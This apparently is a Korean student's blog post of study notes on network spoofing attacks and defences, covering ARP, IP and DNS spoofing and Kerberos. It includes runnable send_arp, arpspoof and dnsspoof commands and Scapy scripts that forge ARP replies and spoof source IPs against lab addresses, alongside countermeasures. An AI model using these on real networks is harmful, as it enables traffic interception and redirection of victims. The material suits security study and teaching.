보안

네트워크 보안 : 스푸핑(Spoofing)

hjjummy 2025. 4. 21. 19:26

1. 스푸핑(Spoofing)이란?

  • **‘속이다’**라는 의미를 가진 용어
  • 네트워크 통신에서 다른 장치나 사용자로 가장해 데이터를 가로채거나 위조
  • 정보 탈취, 인증 우회, 시스템 마비 등에 사용
  • IP, MAC, DNS 등 다양한 계층에서 스푸핑 공격 가능

2. ARP 스푸핑

🔹 기본 개념

  • ARP는 MAC 주소를 얻기 위해 사용되는 프로토콜 
  • 문제: ARP는 신뢰 기반 구조로, 수신한 ARP 메시지의 진위를 확인하지 않음
  • 공격자는 거짓된 ARP Reply를 보내 상대의 ARP Cache를 오염시킴
  • 이를 ARP Cache Poisoning이라고도 부름

 

🔹 실습 1: 네트워크 내 장비의 IP 및 MAC 정보 수집

명령어 1: fping으로 네트워크 내 IP 수집

 

$ fping -a -g 172.17.0.0/24

 

  • -g: 지정된 IP 범위에서 ping을 보냄
  • -a: 응답이 있는 호스트만 출력

 

 

명령어 2: arp -a로 MAC 정 확인

$ arp -a

 

  • ARP 테이블을 확인하여 IP-MAC 매핑 정보 출력

🔹 실습 2: ARP 스푸핑 공격 수행

 

  • 공격 도구 fake 설치 :fake 도구의 send_arp 기능으로 ARP Reply 위조하여 전송 가능
$ sudo apt install fake

 

명령어 예시

$ send_arp <스푸핑할 IP주소> <스푸핑할 MAC> <공격대상 IP> <공격대상 MAC>

$ send_arp <흉내낼 IP주소> <공격자의 원래 MAC> <공격대상 IP> <공격대상 MAC>

$ send_arp 172.17.0.1 06:a7:af:45:63:a6 172.17.0.3 5a:cb:ac:10:54:5b

 

항목 설명
172.17.0.1 스푸핑할 IP 주소 (공격자가 흉내낼 주소)
06:a7:af:45:63:a6 공격자의 MAC 주소
172.17.0.3 공격 대상 IP
5a:cb:ac:10:54:5b 공격 대상의 실제 MAC 주소

 

 

즉 자기자신은 원래 172.17.0.2 이지만 0.3에게 0.1이라고 속이는 것.

 


🔹 ARP 스푸핑 패킷 (Reply) 분석 정리

 

send_arp 192.168.15.203     00:0c:29:67:7e:cc     192.168.15.201    00:0c:29:67:88:9e

->203의 주소가 cc(나: 공격자) 라고 201에게 ARP request 보냄

 201은 공격자가 203 서버로 생각하고 ARP reply응답

 

ARP 스푸핑 패킷 Reply

 

ARP 패킷 구조 매핑

필드명 값 (비트 및 해석)   설명
Hardware Type (HRD) 0000 0000 0000 0001 이더넷(Ethernet)은 1로 고정
Protocol Type (PTO) 0000 1000 0000 0000 IPv4는 0x0800 (16진수)
Hardware Length (HLN) 0000 0110 MAC 주소 길이: 6바이트
Protocol Length (PEN) 0000 0100 IP 주소 길이: 4바이트
Opcode(OP) 0000 0000 0000 0010 ARP Reply (2)
Sender MAC 주소 (SHA) 00:0c:29:67:88:9e 피해자 201의 실제 MAC 주소
Sender IP 주소 (SPA) 192.168.15.201 피해자 201의 실제 IP 주소
Target MAC 주소 (THA) 00:0c:29:67:7e:cc 공격자 MAC 주소
Target IP 주소 (TPA) 192.168.15.203 공격자가 자신이라고 속인 IP 주소

201이 답장한것이므로 201이 sender이다. 현재 속은 상태이므로 203에게 보내는것으로 생각해서 TPA가 203으로 나온다. 

 

이 패킷(ARP reply)은 "나는 192.168.15.201이고, 내 MAC 주소는 00:0c:29:67:88:9e입니다"
라는 응답을 공격자에게 보내는 상황

 


🔹 Scapy를 이용한 ARP 스푸핑 코드

 
from scapy.all import *
sndIP = "192.168.173.2"
sndMAC = "00:0c:29:93:95:59"
tgtIP = "192.168.173.139"
tgtMAC = "00:0c:29:be:37:f5"

ether = Ether(src=sndMAC, dst=tgtMAC)
arp = ARP(psrc=sndIP, hwsrc=sndMAC, pdst=tgtIP, hwdst=tgtMAC)
arp.op = 2
frame = ether / arp
sendp(frame)

op 코드가 2 이므로 reply 인것.

공격자는 중간자(MITM) 위치에 서게 됨

 

🔹 보안 대책

운영체제명령어

 

Windows 2012 arp -s <IP> <MAC>
Windows 10 netsh interface ipv4 add neighbors "인터페이스" <IP> <MAC>

→ 이렇게 등록된 MAC은 ARP 스푸핑으로 덮어쓰기 불가능
→ arp -a 확인 시 static 혹은 Permanent로 표시됨

 


3.  IP 스푸핑

🔹 개념

 

  • 송신자 IP 주소를 속이는 행위
  • 시스템 간의 신뢰(Trust) 관계를 이용해 인증을 우회

 

from scapy.all import *
ip = IP(src="1.2.3.4", dst="inclab.sungshin.ac.kr")
icmp = ICMP()
pkt = ip / icmp
pkt.show()
send(pkt, verbose=0)

 

 

🔹 보안 대책

  1. 트러스트 사용X
  2. 트러스트 사용해야 할 시 트러스트된 시스템의 MAC주소를 static으로 설정

4.  Kerberos 인증 시스템

🔹 개요

  • MIT에서 개발한 티켓 기반 인증 프로토콜
  • 사용자는 서비스 접근을 위해 티켓을 발급받음
  • 인증 서버(AS), 티켓 서버(TGS), 서비스 서버(SS)로 구성

🔹 인증 흐름

  1. 사용자가 AS에 TGT 요청
  2. AS가 TGT와 TGS 세션키를 전달 (비밀번호 기반 암호화)
  3. 클라이언트가 TGT + Authenticator를 TGS에 전달
  4. TGS가 SS 티켓 + SS 세션키를 클라이언트에 전달
  5. 클라이언트가 SS 티켓 + Authenticator를 서비스 서버에 전달
  6. 서버가 타임스탬프 기반 상호 인증

→ SSO(Single Sign On) 가능

🔹 장단점


 

장점 단점
패스워드가 네트워크상에 노출 없음 KDC 장애 시 전체 인증 불가(전체서비스 이용불가)
SSO 제공:시스템간 자유로운 서비스 인증 AS, TGS, SS간 비밀키 알아야하므로 동기화 필요
기밀성, 무결성 보장( 세션키 기반 대칭키 암호화) 비밀키, 세션키가 사용자 pc에 저장되어있어 유출 가능
- 타임스탬프로 인한 시간 동기화 프로토콜 필요

5.  DNS 스푸핑

🔹 개념

  • DNS 응답을 위조하여 사용자가 요청한 도메인 주소에 대해 거짓된 IP 주소를 응답하게 만드는 공격
  • 예: www.sungshin.ac.kr → www.naver.com으로 바꾸는 공격

🔹 공격 원리 

  1. 사용자가 웹 브라우저에 도메인을 입력 → DNS Query 전송
  2. 공격자는 정상 DNS 응답보다 먼저, 가짜 응답을 피해자에게 전송
  3. 피해자는 가짜 응답을 신뢰하고 악성 IP로 연결

🔹 실습 예시

 

장비 IP
라우터(게이트 웨) 172.17.0.1
공격자 172.17.0.2
웹서버 172.17.0.4
피해자 172.17.0.3

 

arpspoof 실행 :사전 작업으로 ARP 리다이렉션

  • 피해자의 트래픽을 공격자가 가로채도록 먼저 설정
$ sudo arpspoof -i eth0 -t 172.17.0.3 172.17.0.1
  • 게이트웨이와 피해자 사이에 공격자 자신을 끼워 넣음
  • 이렇게 해야 DNS Query 패킷이 공격자의 기기를 반드시 지나가게 됨

 dnsspoof 실행

$ sudo dnsspoof -i eth0 -f hosts.txt

 

 

hosts.txt 파일 내용 예시  

*.daum.net 172.17.0.4
*.google.co.kr 192.168.4.129

 

🔹 보안 대책

  1. hosts 파일에 중요한 사이트 직접 등록
  2. PTR/A 레코드 이중 검증
    • PTR 레코드: IP → 도메인
    • A 레코드: 도메인 → IP
      → 이 둘이 서로 정합성 있게 설정되어야 함

 


전체 요약 정리표

공격 기법 설명 실습 도구 방어 방법
ARP 스푸핑 MAC 주소 위조 fake, send_arp, Scapy Static MAC 등록
IP 스푸핑 IP 주소 위조 Scapy 트러스트 제거
Kerberos 인증 우회 방지 내부 프로토콜 시간 동기화, 키 보호
DNS 스푸핑 DNS 응답 위조 dnsspoof hosts 파일 보호, PTR 확인